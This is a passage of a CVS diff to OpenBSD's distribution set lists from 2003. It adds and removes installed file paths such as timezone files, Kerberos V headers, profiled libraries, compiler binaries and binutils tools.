-./usr/share/zoneinfo/posix/Asia/Brunei
-./usr/share/zoneinfo/posix/Asia/Calcutta
-./usr/share/zoneinfo/posix/Asia/Choibalsan
-./usr/share/zoneinfo/posix/Asia/Chongqing
-./usr/share/zoneinfo/posix/Asia/Chungking
-./usr/share/zoneinfo/posix/Asia/Colombo
-./usr/share/zoneinfo/posix/Asia/Dacca
-./usr/share/zoneinfo/posix/Asia/Damascus
-./usr/share/zoneinfo/posix/Asia/Dhaka
-./usr/share/zoneinfo/posix/Asia/Dili
-./usr/share/zoneinfo/posix/Asia/Dubai
-./usr/share/zoneinfo/posix/Asia/Dushanbe
-./usr/share/zoneinfo/posix/Asia/Gaza
-./usr/share/zoneinfo/posix/Asia/Harbin
-./usr/share/zoneinfo/posix/Asia/Hong_Kong
-./usr/share/zoneinfo/posix/Asia/Hovd
-./usr/share/zoneinfo/posix/Asia/Irkutsk
-./usr/share/zoneinfo/posix/Asia/Istanbul
-./usr/share/zoneinfo/posix/Asia/Jakarta
-./usr/share/zoneinfo/posix/Asia/Jayapura
-./usr/share/zoneinfo/posix/Asia/Jerusalem
-./usr/share/zoneinfo/posix/Asia/Kabul
-./usr/share/zoneinfo/posix/Asia/Kamchatka
-./usr/share/zoneinfo/posix/Asia/Karachi
-./usr/share/zoneinfo/posix/Asia/Kashgar
-./usr/share/zoneinfo/posix/Asia/Katmandu
-./usr/share/zoneinfo/posix/Asia/Krasnoyarsk
-./usr/share/zoneinfo/posix/Asia/Kuala_Lumpur
-./usr/share/zoneinfo/posix/Asia/Kuching
-./usr/share/zoneinfo/posix/Asia/Kuwait
-./usr/share/zoneinfo/posix/Asia/Macao
-./usr/share/zoneinfo/posix/Asia/Macau
-./usr/share/zoneinfo/posix/Asia/Magadan
-./usr/share/zoneinfo/posix/Asia/Makassar
-./usr/share/zoneinfo/posix/Asia/Manila
-./usr/share/zoneinfo/posix/Asia/Muscat
-./usr/share/zoneinfo/posix/Asia/Nicosia
-./usr/share/zoneinfo/posix/Asia/Novosibirsk
-./usr/share/zoneinfo/posix/Asia/Omsk
-./usr/share/zoneinfo/posix/Asia/Oral
-./usr/share/zoneinfo/posix/Asia/Phnom_Penh
-./usr/share/zoneinfo/posix/Asia/Pontianak
-./usr/share/zoneinfo/posix/Asia/Pyongyang
-./usr/share/zoneinfo/posix/Asia/Qatar
-./usr/share/zoneinfo/posix/Asia/Qyzylorda
-./usr/share/zoneinfo/posix/Asia/Rangoon
-./usr/share/zoneinfo/posix/Asia/Riyadh
-./usr/share/zoneinfo/posix/Asia/Riyadh87
-./usr/share/zoneinfo/posix/Asia/Riyadh88
-./usr/share/zoneinfo/posix/Asia/Riyadh89
-./usr/share/zoneinfo/posix/Asia/Saigon
-./usr/share/zoneinfo/posix/Asia/Sakhalin
-./usr/share/zoneinfo/posix/Asia/Samarkand
-./usr/share/zoneinfo/posix/Asia/Seoul
-./usr/share/zoneinfo/posix/Asia/Shanghai
-./usr/share/zoneinfo/posix/Asia/Singapore
-./usr/share/zoneinfo/posix/Asia/Taipei
-./usr/share/zoneinfo/posix/Asia/Tashkent
-./usr/share/zoneinfo/posix/Asia/Tbilisi
-./usr/share/zoneinfo/posix/Asia/Tehran
-./usr/share/zoneinfo/posix/Asia/Tel_Aviv
-./usr/share/zoneinfo/posix/Asia/Thimbu
-./usr/share/zoneinfo/posix/Asia/Thimphu
-./usr/share/zoneinfo/posix/Asia/Tokyo
-./usr/share/zoneinfo/posix/Asia/Ujung_Pandang
-./usr/share/zoneinfo/posix/Asia/Ulaanbaatar
-./usr/share/zoneinfo/posix/Asia/Ulan_Bator
-./usr/share/zoneinfo/posix/Asia/Urumqi
-./usr/share/zoneinfo/posix/Asia/Vientiane
-./usr/share/zoneinfo/posix/Asia/Vladivostok
-./usr/share/zoneinfo/posix/Asia/Yakutsk
-./usr/share/zoneinfo/posix/Asia/Yekaterinburg
-./usr/share/zoneinfo/posix/Asia/Yerevan
-./usr/share/zoneinfo/posix/Atlantic
-./usr/share/zoneinfo/posix/Atlantic/Azores
-./usr/share/zoneinfo/posix/Atlantic/Bermuda
-./usr/share/zoneinfo/posix/Atlantic/Canary
-./usr/share/zoneinfo/posix/Atlantic/Cape_Verde
-./usr/share/zoneinfo/posix/Atlantic/Faeroe
-./usr/share/zoneinfo/posix/Atlantic/Jan_Mayen
-./usr/share/zoneinfo/posix/Atlantic/Madeira
-./usr/share/zoneinfo/posix/Atlantic/Reykjavik
-./usr/share/zoneinfo/posix/Atlantic/South_Georgia
-./usr/share/zoneinfo/posix/Atlantic/St_Helena
-./usr/share/zoneinfo/posix/Atlantic/Stanley
-./usr/share/zoneinfo/posix/Australia
-./usr/share/zoneinfo/posix/Australia/ACT
-./usr/share/zoneinfo/posix/Australia/Adelaide
-./usr/share/zoneinfo/posix/Australia/Brisbane
-./usr/share/zoneinfo/posix/Australia/Broken_Hill
-./usr/share/zoneinfo/posix/Australia/Canberra
-./usr/share/zoneinfo/posix/Australia/Darwin
-./usr/share/zoneinfo/posix/Australia/Hobart
-./usr/share/zoneinfo/posix/Australia/LHI
-./usr/share/zoneinfo/posix/Australia/Lindeman
-./usr/share/zoneinfo/posix/Australia/Lord_Howe
-./usr/share/zoneinfo/posix/Australia/Melbourne
-./usr/share/zoneinfo/posix/Australia/NSW
-./usr/share/zoneinfo/posix/Australia/North
-./usr/share/zoneinfo/posix/Australia/Perth
-./usr/share/zoneinfo/posix/Australia/Queensland
-./usr/share/zoneinfo/posix/Australia/South
-./usr/share/zoneinfo/posix/Australia/Sydney
-./usr/share/zoneinfo/posix/Australia/Tasmania
-./usr/share/zoneinfo/posix/Australia/Victoria
-./usr/share/zoneinfo/posix/Australia/West
-./usr/share/zoneinfo/posix/Australia/Yancowinna
-./usr/share/zoneinfo/posix/Brazil
-./usr/share/zoneinfo/posix/Brazil/Acre
-./usr/share/zoneinfo/posix/Brazil/DeNoronha
-./usr/share/zoneinfo/posix/Brazil/East
-./usr/share/zoneinfo/posix/Brazil/West
-./usr/share/zoneinfo/posix/CET
-./usr/share/zoneinfo/posix/CST6CDT
-./usr/share/zoneinfo/posix/Canada
-./usr/share/zoneinfo/posix/Canada/Atlantic
-./usr/share/zoneinfo/posix/Canada/Central
-./usr/share/zoneinfo/posix/Canada/East-Saskatchewan
-./usr/share/zoneinfo/posix/Canada/Eastern
-./usr/share/zoneinfo/posix/Canada/Mountain
-./usr/share/zoneinfo/posix/Canada/Newfoundland
-./usr/share/zoneinfo/posix/Canada/Pacific
-./usr/share/zoneinfo/posix/Canada/Saskatchewan
-./usr/share/zoneinfo/posix/Canada/Yukon
-./usr/share/zoneinfo/posix/Chile
-./usr/share/zoneinfo/posix/Chile/Continental
-./usr/share/zoneinfo/posix/Chile/EasterIsland
-./usr/share/zoneinfo/posix/Cuba
-./usr/share/zoneinfo/posix/EET
-./usr/share/zoneinfo/posix/EST
-./usr/share/zoneinfo/posix/EST5EDT
-./usr/share/zoneinfo/posix/Egypt
-./usr/share/zoneinfo/posix/Eire
-./usr/share/zoneinfo/posix/Etc
-./usr/share/zoneinfo/posix/Etc/GMT
-./usr/share/zoneinfo/posix/Etc/GMT+0
-./usr/share/zoneinfo/posix/Etc/GMT+1
-./usr/share/zoneinfo/posix/Etc/GMT+10
-./usr/share/zoneinfo/posix/Etc/GMT+11
-./usr/share/zoneinfo/posix/Etc/GMT+12
-./usr/share/zoneinfo/posix/Etc/GMT+2
-./usr/share/zoneinfo/posix/Etc/GMT+3
-./usr/share/zoneinfo/posix/Etc/GMT+4
-./usr/share/zoneinfo/posix/Etc/GMT+5
-./usr/share/zoneinfo/posix/Etc/GMT+6
-./usr/share/zoneinfo/posix/Etc/GMT+7
-./usr/share/zoneinfo/posix/Etc/GMT+8
-./usr/share/zoneinfo/posix/Etc/GMT+9
-./usr/share/zoneinfo/posix/Etc/GMT-0
-./usr/share/zoneinfo/posix/Etc/GMT-1
-./usr/share/zoneinfo/posix/Etc/GMT-10
-./usr/share/zoneinfo/posix/Etc/GMT-11
-./usr/share/zoneinfo/posix/Etc/GMT-12
-./usr/share/zoneinfo/posix/Etc/GMT-13
-./usr/share/zoneinfo/posix/Etc/GMT-14
-./usr/share/zoneinfo/posix/Etc/GMT-2
-./usr/share/zoneinfo/posix/Etc/GMT-3
-./usr/share/zoneinfo/posix/Etc/GMT-4
-./usr/share/zoneinfo/posix/Etc/GMT-5
-./usr/share/zoneinfo/posix/Etc/GMT-6
-./usr/share/zoneinfo/posix/Etc/GMT-7
-./usr/share/zoneinfo/posix/Etc/GMT-8
-./usr/share/zoneinfo/posix/Etc/GMT-9
-./usr/share/zoneinfo/posix/Etc/GMT0
-./usr/share/zoneinfo/posix/Etc/Greenwich
-./usr/share/zoneinfo/posix/Etc/UCT
-./usr/share/zoneinfo/posix/Etc/UTC
-./usr/share/zoneinfo/posix/Etc/Universal
-./usr/share/zoneinfo/posix/Etc/Zulu
-./usr/share/zoneinfo/posix/Europe
-./usr/share/zoneinfo/posix/Europe/Amsterdam
-./usr/share/zoneinfo/posix/Europe/Andorra
-./usr/share/zoneinfo/posix/Europe/Athens
-./usr/share/zoneinfo/posix/Europe/Belfast
-./usr/share/zoneinfo/posix/Europe/Belgrade
-./usr/share/zoneinfo/posix/Europe/Berlin
-./usr/share/zoneinfo/posix/Europe/Bratislava
-./usr/share/zoneinfo/posix/Europe/Brussels
-./usr/share/zoneinfo/posix/Europe/Bucharest
-./usr/share/zoneinfo/posix/Europe/Budapest
-./usr/share/zoneinfo/posix/Europe/Chisinau
-./usr/share/zoneinfo/posix/Europe/Copenhagen
-./usr/share/zoneinfo/posix/Europe/Dublin
-./usr/share/zoneinfo/posix/Europe/Gibraltar
-./usr/share/zoneinfo/posix/Europe/Helsinki
-./usr/share/zoneinfo/posix/Europe/Istanbul
-./usr/share/zoneinfo/posix/Europe/Kaliningrad
-./usr/share/zoneinfo/posix/Europe/Kiev
-./usr/share/zoneinfo/posix/Europe/Lisbon
-./usr/share/zoneinfo/posix/Europe/Ljubljana
-./usr/share/zoneinfo/posix/Europe/London
-./usr/share/zoneinfo/posix/Europe/Luxembourg
-./usr/share/zoneinfo/posix/Europe/Madrid
-./usr/share/zoneinfo/posix/Europe/Malta
-./usr/share/zoneinfo/posix/Europe/Minsk
-./usr/share/zoneinfo/posix/Europe/Monaco
-./usr/share/zoneinfo/posix/Europe/Moscow
-./usr/share/zoneinfo/posix/Europe/Nicosia
-./usr/share/zoneinfo/posix/Europe/Oslo
-./usr/share/zoneinfo/posix/Europe/Paris
-./usr/share/zoneinfo/posix/Europe/Prague
-./usr/share/zoneinfo/posix/Europe/Riga
-./usr/share/zoneinfo/posix/Europe/Rome
-./usr/share/zoneinfo/posix/Europe/Samara
-./usr/share/zoneinfo/posix/Europe/San_Marino
-./usr/share/zoneinfo/posix/Europe/Sarajevo
-./usr/share/zoneinfo/posix/Europe/Simferopol
-./usr/share/zoneinfo/posix/Europe/Skopje
-./usr/share/zoneinfo/posix/Europe/Sofia
-./usr/share/zoneinfo/posix/Europe/Stockholm
-./usr/share/zoneinfo/posix/Europe/Tallinn
-./usr/share/zoneinfo/posix/Europe/Tirane
-./usr/share/zoneinfo/posix/Europe/Tiraspol
-./usr/share/zoneinfo/posix/Europe/Uzhgorod
-./usr/share/zoneinfo/posix/Europe/Vaduz
-./usr/share/zoneinfo/posix/Europe/Vatican
-./usr/share/zoneinfo/posix/Europe/Vienna
-./usr/share/zoneinfo/posix/Europe/Vilnius
-./usr/share/zoneinfo/posix/Europe/Warsaw
-./usr/share/zoneinfo/posix/Europe/Zagreb
-./usr/share/zoneinfo/posix/Europe/Zaporozhye
-./usr/share/zoneinfo/posix/Europe/Zurich
-./usr/share/zoneinfo/posix/Factory
-./usr/share/zoneinfo/posix/GB
-./usr/share/zoneinfo/posix/GB-Eire
-./usr/share/zoneinfo/posix/GMT
-./usr/share/zoneinfo/posix/GMT+0
-./usr/share/zoneinfo/posix/GMT-0
-./usr/share/zoneinfo/posix/GMT0
-./usr/share/zoneinfo/posix/Greenwich
-./usr/share/zoneinfo/posix/HST
-./usr/share/zoneinfo/posix/Hongkong
-./usr/share/zoneinfo/posix/Iceland
-./usr/share/zoneinfo/posix/Indian
-./usr/share/zoneinfo/posix/Indian/Antananarivo
-./usr/share/zoneinfo/posix/Indian/Chagos
-./usr/share/zoneinfo/posix/Indian/Christmas
-./usr/share/zoneinfo/posix/Indian/Cocos
-./usr/share/zoneinfo/posix/Indian/Comoro
-./usr/share/zoneinfo/posix/Indian/Kerguelen
-./usr/share/zoneinfo/posix/Indian/Mahe
-./usr/share/zoneinfo/posix/Indian/Maldives
-./usr/share/zoneinfo/posix/Indian/Mauritius
-./usr/share/zoneinfo/posix/Indian/Mayotte
-./usr/share/zoneinfo/posix/Indian/Reunion
-./usr/share/zoneinfo/posix/Iran
-./usr/share/zoneinfo/posix/Israel
-./usr/share/zoneinfo/posix/Jamaica
-./usr/share/zoneinfo/posix/Japan
-./usr/share/zoneinfo/posix/Kwajalein
-./usr/share/zoneinfo/posix/Libya
-./usr/share/zoneinfo/posix/MET
-./usr/share/zoneinfo/posix/MST
-./usr/share/zoneinfo/posix/MST7MDT
-./usr/share/zoneinfo/posix/Mexico
-./usr/share/zoneinfo/posix/Mexico/BajaNorte
-./usr/share/zoneinfo/posix/Mexico/BajaSur
-./usr/share/zoneinfo/posix/Mexico/General
-./usr/share/zoneinfo/posix/Mideast
-./usr/share/zoneinfo/posix/Mideast/Riyadh87
-./usr/share/zoneinfo/posix/Mideast/Riyadh88
-./usr/share/zoneinfo/posix/Mideast/Riyadh89
-./usr/share/zoneinfo/posix/NZ
-./usr/share/zoneinfo/posix/NZ-CHAT
-./usr/share/zoneinfo/posix/Navajo
-./usr/share/zoneinfo/posix/PRC
-./usr/share/zoneinfo/posix/PST8PDT
-./usr/share/zoneinfo/posix/Pacific
-./usr/share/zoneinfo/posix/Pacific/Apia
-./usr/share/zoneinfo/posix/Pacific/Auckland
-./usr/share/zoneinfo/posix/Pacific/Chatham
-./usr/share/zoneinfo/posix/Pacific/Easter
-./usr/share/zoneinfo/posix/Pacific/Efate
-./usr/share/zoneinfo/posix/Pacific/Enderbury
-./usr/share/zoneinfo/posix/Pacific/Fakaofo
-./usr/share/zoneinfo/posix/Pacific/Fiji
-./usr/share/zoneinfo/posix/Pacific/Funafuti
-./usr/share/zoneinfo/posix/Pacific/Galapagos
-./usr/share/zoneinfo/posix/Pacific/Gambier
-./usr/share/zoneinfo/posix/Pacific/Guadalcanal
-./usr/share/zoneinfo/posix/Pacific/Guam
-./usr/share/zoneinfo/posix/Pacific/Honolulu
-./usr/share/zoneinfo/posix/Pacific/Johnston
-./usr/share/zoneinfo/posix/Pacific/Kiritimati
-./usr/share/zoneinfo/posix/Pacific/Kosrae
-./usr/share/zoneinfo/posix/Pacific/Kwajalein
-./usr/share/zoneinfo/posix/Pacific/Majuro
-./usr/share/zoneinfo/posix/Pacific/Marquesas
-./usr/share/zoneinfo/posix/Pacific/Midway
-./usr/share/zoneinfo/posix/Pacific/Nauru
-./usr/share/zoneinfo/posix/Pacific/Niue
-./usr/share/zoneinfo/posix/Pacific/Norfolk
-./usr/share/zoneinfo/posix/Pacific/Noumea
-./usr/share/zoneinfo/posix/Pacific/Pago_Pago
-./usr/share/zoneinfo/posix/Pacific/Palau
-./usr/share/zoneinfo/posix/Pacific/Pitcairn
-./usr/share/zoneinfo/posix/Pacific/Ponape
-./usr/share/zoneinfo/posix/Pacific/Port_Moresby
-./usr/share/zoneinfo/posix/Pacific/Rarotonga
-./usr/share/zoneinfo/posix/Pacific/Saipan
-./usr/share/zoneinfo/posix/Pacific/Samoa
-./usr/share/zoneinfo/posix/Pacific/Tahiti
-./usr/share/zoneinfo/posix/Pacific/Tarawa
-./usr/share/zoneinfo/posix/Pacific/Tongatapu
-./usr/share/zoneinfo/posix/Pacific/Truk
-./usr/share/zoneinfo/posix/Pacific/Wake
-./usr/share/zoneinfo/posix/Pacific/Wallis
-./usr/share/zoneinfo/posix/Pacific/Yap
-./usr/share/zoneinfo/posix/Poland
-./usr/share/zoneinfo/posix/Portugal
-./usr/share/zoneinfo/posix/ROC
-./usr/share/zoneinfo/posix/ROK
-./usr/share/zoneinfo/posix/Singapore
-./usr/share/zoneinfo/posix/SystemV
-./usr/share/zoneinfo/posix/SystemV/AST4
-./usr/share/zoneinfo/posix/SystemV/AST4ADT
-./usr/share/zoneinfo/posix/SystemV/CST6
-./usr/share/zoneinfo/posix/SystemV/CST6CDT
-./usr/share/zoneinfo/posix/SystemV/EST5
-./usr/share/zoneinfo/posix/SystemV/EST5EDT
-./usr/share/zoneinfo/posix/SystemV/HST10
-./usr/share/zoneinfo/posix/SystemV/MST7
-./usr/share/zoneinfo/posix/SystemV/MST7MDT
-./usr/share/zoneinfo/posix/SystemV/PST8
-./usr/share/zoneinfo/posix/SystemV/PST8PDT
-./usr/share/zoneinfo/posix/SystemV/YST9
-./usr/share/zoneinfo/posix/SystemV/YST9YDT
-./usr/share/zoneinfo/posix/Turkey
-./usr/share/zoneinfo/posix/UCT
-./usr/share/zoneinfo/posix/US
-./usr/share/zoneinfo/posix/US/Alaska
-./usr/share/zoneinfo/posix/US/Aleutian
-./usr/share/zoneinfo/posix/US/Arizona
-./usr/share/zoneinfo/posix/US/Central
-./usr/share/zoneinfo/posix/US/East-Indiana
-./usr/share/zoneinfo/posix/US/Eastern
-./usr/share/zoneinfo/posix/US/Hawaii
-./usr/share/zoneinfo/posix/US/Indiana-Starke
-./usr/share/zoneinfo/posix/US/Michigan
-./usr/share/zoneinfo/posix/US/Mountain
-./usr/share/zoneinfo/posix/US/Pacific
-./usr/share/zoneinfo/posix/US/Pacific-New
-./usr/share/zoneinfo/posix/US/Samoa
-./usr/share/zoneinfo/posix/UTC
-./usr/share/zoneinfo/posix/Universal
-./usr/share/zoneinfo/posix/W-SU
-./usr/share/zoneinfo/posix/WET
-./usr/share/zoneinfo/posix/Zulu
 ./usr/share/zoneinfo/posixrules
 ./usr/share/zoneinfo/right
 ./usr/share/zoneinfo/right/Africa
@@ -4050,12 +2861,8 @@
 ./var/games/phantasia
 ./var/games/save
 ./var/log
-./var/log/rdist
 ./var/mail
 ./var/msgs
-./var/named
-./var/named/dev
-./var/named/etc
 ./var/preserve
 ./var/quotas
 ./var/run
@@ -4092,9 +2899,3 @@
 ./var/www/icons/small
 ./var/www/logs
 ./var/www/users
-./var/yp
-./var/yp/Makefile.main
-./var/yp/Makefile.main.dist
-./var/yp/Makefile.yp
-./var/yp/Makefile.yp.dist
-./var/yp/README
Index: src/distrib/sets/lists/comp/md.i386
===================================================================
RCS file: /cvs/src/distrib/sets/lists/comp/md.i386,v
retrieving revision 1.89
diff -u -r1.89 md.i386
--- src/distrib/sets/lists/comp/md.i386	13 Feb 2003 21:35:04 -0000	1.89
+++ src/distrib/sets/lists/comp/md.i386	4 Mar 2003 16:52:40 -0000
@@ -1,5 +1,9 @@
+./usr/bin/addr2line
+./usr/bin/gasp
 ./usr/bin/gdb
+./usr/bin/objcopy
 ./usr/bin/objdump
+./usr/bin/readelf
 ./usr/include/bfd.h
 ./usr/include/bfdlink.h
 ./usr/include/dlfcn.h
@@ -30,6 +34,7 @@
 ./usr/include/i386/joystick.h
 ./usr/include/i386/limits.h
 ./usr/include/i386/linux_machdep.h
+./usr/include/i386/loadfile_machdep.h
 ./usr/include/i386/mouse.h
 ./usr/include/i386/npx.h
 ./usr/include/i386/param.h
@@ -44,6 +49,7 @@
 ./usr/include/i386/ptrace.h
 ./usr/include/i386/rbus_machdep.h
 ./usr/include/i386/reg.h
+./usr/include/i386/reloc.h
 ./usr/include/i386/segments.h
 ./usr/include/i386/setjmp.h
 ./usr/include/i386/signal.h
@@ -61,25 +67,19 @@
 ./usr/include/i386/vmparam.h
 ./usr/include/ieeefp.h
 ./usr/include/link.h
+./usr/lib/crtbegin.o
+./usr/lib/crtbeginS.o
+./usr/lib/crtend.o
+./usr/lib/crtendS.o
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/SYSCALLS.c.X
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/cc1
-./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/cc1obj
-./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/cc1plus
-./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/f771
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/fpic
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/fpic/libgcc.a
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/README
-./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/exception
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/float.h
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/limits.h
-./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/new
-./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/new.h
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/syslimits.h
-./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include/typeinfo
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/libgcc.a
-./usr/lib/lib45_pic.a
-./usr/lib/libacl_pic.a
-./usr/lib/libasn1_pic.a
 ./usr/lib/libbfd.a
 ./usr/lib/libc_pic.a
 ./usr/lib/libcom_err_pic.a
@@ -89,25 +89,13 @@
 ./usr/lib/libdes_pic.a
 ./usr/lib/libedit_pic.a
 ./usr/lib/libform_pic.a
-./usr/lib/libfrtbegin_pic.a
-./usr/lib/libg2c_pic.a
-./usr/lib/libgssapi_pic.a
 ./usr/lib/libi386.a
-./usr/lib/libi386_p.a
 ./usr/lib/libiberty_pic.a
-./usr/lib/libkadm5clnt_pic.a
-./usr/lib/libkadm5srv_pic.a
-./usr/lib/libkadm_pic.a
-./usr/lib/libkafs_pic.a
-./usr/lib/libkdb_pic.a
-./usr/lib/libkrb5_pic.a
-./usr/lib/libkrb_pic.a
 ./usr/lib/libkvm_pic.a
 ./usr/lib/libm_pic.a
 ./usr/lib/libmenu_pic.a
 ./usr/lib/libmmalloc.a
 ./usr/lib/libncurses_pic.a
-./usr/lib/libobjc_pic.a
 ./usr/lib/libocurses_pic.a
 ./usr/lib/libopcodes.a
 ./usr/lib/libossaudio_pic.a
@@ -129,11 +117,19 @@
 ./usr/lib/libutil_pic.a
 ./usr/lib/libwrap_pic.a
 ./usr/lib/libz_pic.a
-./usr/lib/scrt0.o
+./usr/libdata/ldscripts
+./usr/libdata/ldscripts/elf_i386.x
+./usr/libdata/ldscripts/elf_i386.xbn
+./usr/libdata/ldscripts/elf_i386.xn
+./usr/libdata/ldscripts/elf_i386.xr
+./usr/libdata/ldscripts/elf_i386.xs
+./usr/libdata/ldscripts/elf_i386.xu
+./usr/libdata/ldscripts/elf_i386.xz
 ./usr/libdata/perl5/site_perl/i386-openbsd/dev/usb/umct.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/dev/usb/umidi_quirks.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/dev/usb/umidireg.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/dev/usb/umidivar.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/sys/hash.ph
 ./usr/share/man/cat1/gdb.0
+./usr/share/man/cat1/objcopy.0
 ./usr/share/man/cat1/objdump.0
Index: src/distrib/sets/lists/comp/mi
===================================================================
RCS file: /cvs/src/distrib/sets/lists/comp/mi,v
retrieving revision 1.370
diff -u -r1.370 mi
--- src/distrib/sets/lists/comp/mi	27 Feb 2003 17:29:58 -0000	1.370
+++ src/distrib/sets/lists/comp/mi	4 Mar 2003 16:52:40 -0000
@@ -2,16 +2,11 @@
 ./usr/bin/ar
 ./usr/bin/as
 ./usr/bin/asa
-./usr/bin/c++
-./usr/bin/c++filt
-./usr/bin/cc
-./usr/bin/f77
+./usr/bin/crunchgen
+./usr/bin/crunchide
 ./usr/bin/flex
 ./usr/bin/flex++
 ./usr/bin/fpr
-./usr/bin/g++
-./usr/bin/g77
-./usr/bin/gcc
 ./usr/bin/gcov
 ./usr/bin/gprof
 ./usr/bin/ld
@@ -19,6 +14,7 @@
 ./usr/bin/lint
 ./usr/bin/lorder
 ./usr/bin/mkstr
+./usr/bin/pgcc
 ./usr/bin/protoize
 ./usr/bin/ranlib
 ./usr/bin/rpcgen
@@ -898,32 +894,6 @@
 ./usr/include/kerberosIV/krb_db.h
 ./usr/include/kerberosIV/krb_err.h
 ./usr/include/kerberosIV/prot.h
-./usr/include/kerberosV
-./usr/include/kerberosV/admin.h
-./usr/include/kerberosV/asn1-common.h
-./usr/include/kerberosV/asn1_err.h
-./usr/include/kerberosV/der.h
-./usr/include/kerberosV/gssapi.h
-./usr/include/kerberosV/hdb-private.h
-./usr/include/kerberosV/hdb-protos.h
-./usr/include/kerberosV/hdb.h
-./usr/include/kerberosV/hdb_asn1.h
-./usr/include/kerberosV/hdb_err.h
-./usr/include/kerberosV/heim_err.h
-./usr/include/kerberosV/k524_err.h
-./usr/include/kerberosV/kadm5
-./usr/include/kerberosV/kadm5/admin.h
-./usr/include/kerberosV/kadm5/kadm5_err.h
-./usr/include/kerberosV/kadm5/private.h
-./usr/include/kerberosV/kadm5_err.h
-./usr/include/kerberosV/kafs.h
-./usr/include/kerberosV/krb5-private.h
-./usr/include/kerberosV/krb5-protos.h
-./usr/include/kerberosV/krb5-types.h
-./usr/include/kerberosV/krb5.h
-./usr/include/kerberosV/krb5_asn1.h
-./usr/include/kerberosV/krb5_err.h
-./usr/include/kerberosV/private.h
 ./usr/include/keynote.h
 ./usr/include/kvm.h
 ./usr/include/langinfo.h
@@ -1611,116 +1581,51 @@
 ./usr/lib/crt0.o
 ./usr/lib/debug
 ./usr/lib/gcrt0.o
-./usr/lib/lib45.a
-./usr/lib/lib45_p.a
 ./usr/lib/libacl.a
-./usr/lib/libacl_p.a
-./usr/lib/libasn1.a
-./usr/lib/libasn1_p.a
 ./usr/lib/libbfd.la
 ./usr/lib/libc.a
-./usr/lib/libc_p.a
 ./usr/lib/libcom_err.a
-./usr/lib/libcom_err_p.a
 ./usr/lib/libcompat.a
-./usr/lib/libcompat_p.a
 ./usr/lib/libcrypto.a
-./usr/lib/libcrypto_p.a
 ./usr/lib/libcurses++.a
-./usr/lib/libcurses++_p.a
 ./usr/lib/libcurses.a
-./usr/lib/libcurses_p.a
 ./usr/lib/libdes.a
-./usr/lib/libdes_p.a
 ./usr/lib/libedit.a
-./usr/lib/libedit_p.a
 ./usr/lib/libevent.a
-./usr/lib/libevent_p.a
 ./usr/lib/libfl.a
-./usr/lib/libfl_p.a
 ./usr/lib/libform.a
-./usr/lib/libform_p.a
-./usr/lib/libfrtbegin.a
-./usr/lib/libfrtbegin_p.a
-./usr/lib/libg2c.a
-./usr/lib/libg2c_p.a
-./usr/lib/libgssapi.a
-./usr/lib/libgssapi_p.a
-./usr/lib/libhdb.a
 ./usr/lib/libiberty.a
-./usr/lib/libiberty_p.a
 ./usr/lib/libkadm.a
-./usr/lib/libkadm5clnt.a
-./usr/lib/libkadm5clnt_p.a
-./usr/lib/libkadm5srv.a
-./usr/lib/libkadm5srv_p.a
-./usr/lib/libkadm_p.a
-./usr/lib/libkafs.a
-./usr/lib/libkafs_p.a
 ./usr/lib/libkdb.a
-./usr/lib/libkdb_p.a
 ./usr/lib/libkeynote.a
-./usr/lib/libkeynote_p.a
 ./usr/lib/libkrb.a
-./usr/lib/libkrb5.a
-./usr/lib/libkrb5_p.a
-./usr/lib/libkrb_p.a
 ./usr/lib/libkvm.a
-./usr/lib/libkvm_p.a
 ./usr/lib/libl.a
-./usr/lib/libl_p.a
 ./usr/lib/libm.a
-./usr/lib/libm_p.a
 ./usr/lib/libmenu.a
-./usr/lib/libmenu_p.a
 ./usr/lib/libncurses.a
-./usr/lib/libncurses_p.a
-./usr/lib/libobjc.a
-./usr/lib/libobjc_p.a
 ./usr/lib/libocurses.a
-./usr/lib/libocurses_p.a
 ./usr/lib/libopcodes.la
 ./usr/lib/libossaudio.a
-./usr/lib/libossaudio_p.a
 ./usr/lib/libotermcap.a
-./usr/lib/libotermcap_p.a
 ./usr/lib/libpanel.a
-./usr/lib/libpanel_p.a
 ./usr/lib/libpcap.a
-./usr/lib/libpcap_p.a
 ./usr/lib/libperl.a
-./usr/lib/libperl_p.a
 ./usr/lib/libpthread.a
-./usr/lib/libpthread_p.a
-./usr/lib/libreadline_p.a
 ./usr/lib/libresolv.a
-./usr/lib/libresolv_p.a
 ./usr/lib/librpcsvc.a
-./usr/lib/librpcsvc_p.a
 ./usr/lib/libsectok.a
-./usr/lib/libsectok_p.a
 ./usr/lib/libskey.a
-./usr/lib/libskey_p.a
 ./usr/lib/libssl.a
-./usr/lib/libssl_p.a
 ./usr/lib/libstdc++.a
-./usr/lib/libstdc++_p.a
 ./usr/lib/libtelnet.a
-./usr/lib/libtelnet_p.a
 ./usr/lib/libtermcap.a
-./usr/lib/libtermcap_p.a
 ./usr/lib/libtermlib.a
-./usr/lib/libtermlib_p.a
 ./usr/lib/libusbhid.a
-./usr/lib/libusbhid_p.a
 ./usr/lib/libutil.a
-./usr/lib/libutil_p.a
 ./usr/lib/libwrap.a
-./usr/lib/libwrap_p.a
 ./usr/lib/liby.a
-./usr/lib/liby_p.a
 ./usr/lib/libz.a
-./usr/lib/libz_p.a
 ./usr/libdata/lint/llib-lposix.ln
 ./usr/libdata/lint/llib-lstdc.ln
 ./usr/libexec/lint1
@@ -1748,14 +1653,10 @@
